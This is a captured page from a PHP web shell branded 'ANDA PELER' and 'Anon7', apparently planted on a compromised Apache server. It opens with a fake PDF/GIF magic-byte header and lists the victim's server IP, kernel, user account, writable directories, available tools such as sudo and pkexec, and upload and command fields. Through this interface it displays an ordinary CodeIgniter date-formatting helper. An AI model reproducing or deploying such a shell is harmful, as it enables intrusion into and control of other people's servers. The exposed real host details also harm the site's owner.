%PDF-1.7 GIF89;
ANDA PELER
Server IP : 5.161.254.237  /  Your IP : 216.73.216.185
Web Server : Apache
System : Linux diamond.sialwebvps.com 4.18.0-553.8.1.el8_10.x86_64 #1 SMP Tue Jul 2 07:26:33 EDT 2024 x86_64
User : stellasp ( 1131)
PHP Version : 7.4.33
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/stellasp/www/application/helpers/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     

Current File : /home/stellasp/www/application/helpers/MY_date_helper.php
<?php
function format_date($date){	
	if ($date != '' && $date != '0000-00-00')
	{
		$d	= explode('-', $date);
	
		$m	= Array(
		'January'
		,'February'
		,'March'
		,'April'
		,'May'
		,'June'
		,'July'
		,'August'
		,'September'
		,'October'
		,'November'
		,'December'
		);
	
		return $m[$d[1]-1].' '.$d[2].', '.$d[0]; 
	}
	else
	{
		return false;
	}
}

function format_datetime($datetime)
{
	$d	= explode(' ', format_date($datetime));
	
	$t	= $d[2];
	
	$t	= explode(':', $t);
	
	$ap	= 'am';
	if($t[0] > 12)
	{
		$t[0] = $t[0]-12;
		$ap	= 'pm';
	}
	elseif($t[0] == 0)
	{
		$t[0] = 12;
	}
	elseif ($t[0] == 12)
	{
		$ap = 'pm';
	}
	
	return $d[0].' '.$d[1].', '.$d[3].' at '.$t[0].':'.$t[1].$ap;
}

function reverse_format($date)
{
	if(empty($date)) 
	{
		return;
	}
	
	$d = explode('-', $date);
	
	return "{$d[1]}-{$d[2]}-{$d[0]}";
}


/* End of file welcome.php */
/* Location: ./system/application/helpers/MY_date_helper.php */

Anon7 - 2022
SCDN GOK